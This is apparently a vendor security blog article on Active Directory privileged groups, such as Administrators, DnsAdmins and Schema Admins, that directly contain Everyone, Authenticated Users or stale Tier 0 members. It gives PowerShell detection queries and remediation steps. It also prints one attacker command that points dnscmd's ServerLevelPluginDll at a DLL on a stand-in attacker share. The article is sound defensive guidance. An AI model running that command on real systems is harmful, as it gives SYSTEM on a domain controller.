Everyone, Authenticated Users, Privileged Groups, Active Directory: How Built-Ins Get Silently Over-Membered

Everyone, Authenticated Users, Privileged Groups, Active Directory: What Over-Membership Looks Like

Everyone, Authenticated Users, privileged groups, Active Directory — four things that combine into a Tier 0 risk the moment a special identity sits directly in a group's membership list, no attack path required. Most Active Directory privilege-escalation content focuses on indirect paths: nested groups, ACL abuse, delegation chains. This article covers a blunter version of the same problem: a privileged group in Active Directory — built-in or Tier 0 — where Everyone, Authenticated Users, or a Tier 0 account that should have been removed months ago sits directly in the membership list, no nesting or ACL trick required to find it. It's a close cousin of privileged access drift, but without the multi-step creep: the misconfiguration is visible in a single membership list.

Concretely, this is what an audit for active directory privileged group everyone authenticated users exposure needs to check: which domain-local privileged groups hold a special-identity member, and which Tier 0 groups have stayed populated since their last legitimate use.

Three patterns fall into this bucket:

• Special identities added directly to a privileged group. The special identities Everyone and Authenticated Users can be added as explicit members of a domain-local group. If that group is privileged — Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, or DnsAdmins — every authenticated principal in the domain inherits that group's rights.
• Tier 0 groups that should be empty, but aren't. Schema Admins and Enterprise Admins exist for occasional, deliberate use (schema changes, cross-domain administration). Microsoft's own remediation guidance is to keep Schema Admins empty outside of an active schema change and repopulate it only when needed (Microsoft Learn). A permanent member is a standing Tier 0 credential nobody is actively using — pure attack surface.
• A privileged group most teams don't watch: DnsAdmins. Microsoft Defender for Identity ships a dedicated security assessment for "unsafe permissions on the DnsAdmins group" because membership grants control over the DNS Server service running on domain controllers (Microsoft Learn) — control that a well-known technique converts into SYSTEM on a DC.

None of this requires BloodHound-style path-finding. It shows up the moment someone runs Get-ADGroupMember against the right group — which is precisely why it tends to survive audits built around attack-path graphs rather than plain membership lists.

It also tends to slip past manual review because it isn't the result of one dramatic decision. A Schema Admins account gets added for a one-off application install and the removal step gets skipped. A troubleshooting session adds Authenticated Users to DnsAdmins "temporarily" to unblock a helpdesk ticket, and the ticket closes before the membership is reverted. Each step looks locally reasonable; the cumulative state is a domain where any authenticated account — including a low-privilege phished user or a compromised service account — already has a straight line to a domain controller.

How It Works

Everyone and Authenticated Users can only land in domain-local groups — but that includes the ones that matter

By AD's group-scope rules (the classic AGDLP model), special identities and foreign security principals can only be placed in domain-local scope groups, not global or universal ones (Microsoft TechNet wiki, "Foreign Security Principals and Special Identities"; Microsoft Learn, "Understand Special Identities Groups"). When an admin (or a misconfigured GPO/script) adds Everyone or Authenticated Users to such a group, Active Directory creates a ForeignSecurityPrincipal object for that well-known SID under CN=ForeignSecurityPrincipals and lists it as a member.

That rules out adding Everyone straight into the global-scope Domain Admins group — AD's group-scope constraints don't allow it. But it does not rule out the group that actually matters most: the built-in Administrators group is domain-local, and by default it already contains Domain Admins and Enterprise Admins nested inside it (Microsoft Learn, Appendix G — Securing Administrators Groups in Active Directory). Add Everyone or Authenticated Users to Administrators, and every authenticated account in the domain inherits everything Domain Admins inherits from that nesting — full control of every domain controller. The same domain-local scope covers Account Operators, Backup Operators, Server Operators, Print Operators, and DnsAdmins — all common targets for this exact misconfiguration.

🚨 Danger: this isn't a theoretical path — it's a membership list. No delegated ACL, no Kerberos trick, no nested chain. Get-ADGroupMember on the wrong group shows it in one call.

DnsAdmins membership converts into SYSTEM on a domain controller

DnsAdmins membership is dangerous on its own, independent of Everyone/Authenticated Users tricks. Members can set the ServerLevelPluginDll registry value on the DNS Server service via dnscmd.exe, pointing it at an arbitrary DLL; restarting the DNS service loads that DLL under the SYSTEM account of the domain controller. This was first published by Shay Ber (Lab of a Penetration Tester, 2017) as "Abusing DNSAdmins privilege for escalation in Active Directory" and has since been documented and re-verified repeatedly, including by Sean Metcalf at ADSecurity.org ("From DNSAdmins to Domain Admin") and by Semperis ("DnsAdmins Revisited") (Lab of a Penetration Tester; ADSecurity.org; Semperis).

# Attacker-side primitive (DnsAdmins member, for defenders' awareness only)
dnscmd.exe DC01 /config /serverlevelplugindll \\attacker\share\evil.dll

Microsoft has stated this is a documented feature of the DNS management protocol rather than a vulnerability, which is exactly why it does not get patched away — the fix is organizational (keep DnsAdmins empty or tightly scoped), not a security update (InfosecMatter / Metasploit module writeup summarizing MSRC's position).

Schema Admins and Enterprise Admins as standing Tier 0 credentials

Schema Admins only needs members for the duration of an actual schema extension (a new application installing schema attributes, a forest functional-level change). Microsoft's own remediation content for this exact finding says to remove all members and only add accounts back when a schema change is in progress (Microsoft Learn). A permanently populated Schema Admins (or Enterprise Admins, similarly scoped for forest-wide administration) is a Tier 0 credential that sits unused between changes — exactly the kind of account attackers look for because nobody notices it logging in, because normally it never does.

Detection

Everything below can be run read-only, with a service account holding no write rights. For the broader set of event IDs worth collecting across an AD environment, see the dedicated monitoring guide — the table below covers only the events specific to this misconfiguration.

# 1. Enumerate members of the domain-local privileged groups and flag ForeignSecurityPrincipal entries
#    (this is how Everyone/Authenticated Users show up when added directly)
$privilegedDomainLocal = 'Administrators','Account Operators','Backup Operators',
                          'Server Operators','Print Operators','DnsAdmins'

foreach ($g in $privilegedDomainLocal) {
    Get-ADGroupMember -Identity $g -ErrorAction SilentlyContinue |
        Where-Object { $_.objectClass -eq 'foreignSecurityPrincipal' } |
        Select-Object @{N='Group';E={$g}}, Name, SID
}

# 2. Resolve which well-known SID a ForeignSecurityPrincipal represents
#    S-1-1-0  = Everyone
#    S-1-5-11 = Authenticated Users
Get-ADObject -SearchBase (Get-ADDomain).SystemsContainer `
             -Filter "objectClass -eq 'foreignSecurityPrincipal'" -Properties objectSid |
    Select-Object Name, @{N='SID';E={$_.objectSid}}

# 3. Schema Admins / Enterprise Admins should be empty outside a maintenance window
Get-ADGroupMember -Identity 'Schema Admins' -Server (Get-ADForest).SchemaMaster
Get-ADGroupMember -Identity 'Enterprise Admins' -Server (Get-ADForest).RootDomain

Remediation

These fixes fit into a broader Active Directory hardening priorities pass — privileged group hygiene belongs near the top of that list, not as a follow-up item.

1. Remove any Everyone/Authenticated Users membership from privileged domain-local groups. Remove-ADGroupMember -Identity Administrators -Members (Get-ADObject -Filter "objectSid -eq 'S-1-1-0'") — verify the exact object first, this is a Tier 0 group.
2. Empty Schema Admins and Enterprise Admins outside maintenance windows. Document a break-glass process: add the account, perform the change, remove it, and log the exception (who, why, when).
3. Scope DnsAdmins tightly and monitor it like Domain Admins. If nobody can name why a given account is a member, remove it. Treat any 4728/4732 event on this group as a Tier 0 alert, not routine IT noise.
4. Alert in real time on 4728/4732/4756 for the full Tier 0 group list, not just Domain Admins/Enterprise Admins — include Administrators, Account Operators, Backup Operators, Server Operators, Print Operators, DnsAdmins, and Schema Admins in the same alert rule.
5. Require an approval record for every privileged group addition — owner, justification, and an expiry date. A membership with no documented reason is itself the finding, independent of who was added.

How EtcSec Detects This

EtcSec's AD audit checks for direct over-membership across the built-in and Tier 0 groups covered here: GROUP_EVERYONE_IN_PRIVILEGED and GROUP_AUTHENTICATED_USERS_PRIVILEGED flag special identities placed directly in a privileged group, SCHEMA_ADMINS_NOT_EMPTY flags a persistently populated Schema/Enterprise Admins group, DNS_ADMINS_MEMBER surfaces every DnsAdmins member for review, and PRIVILEGED_GROUP_MEMBER_CHANGES tracks recent membership changes on Tier 0 groups so a new addition doesn't sit unnoticed between audits.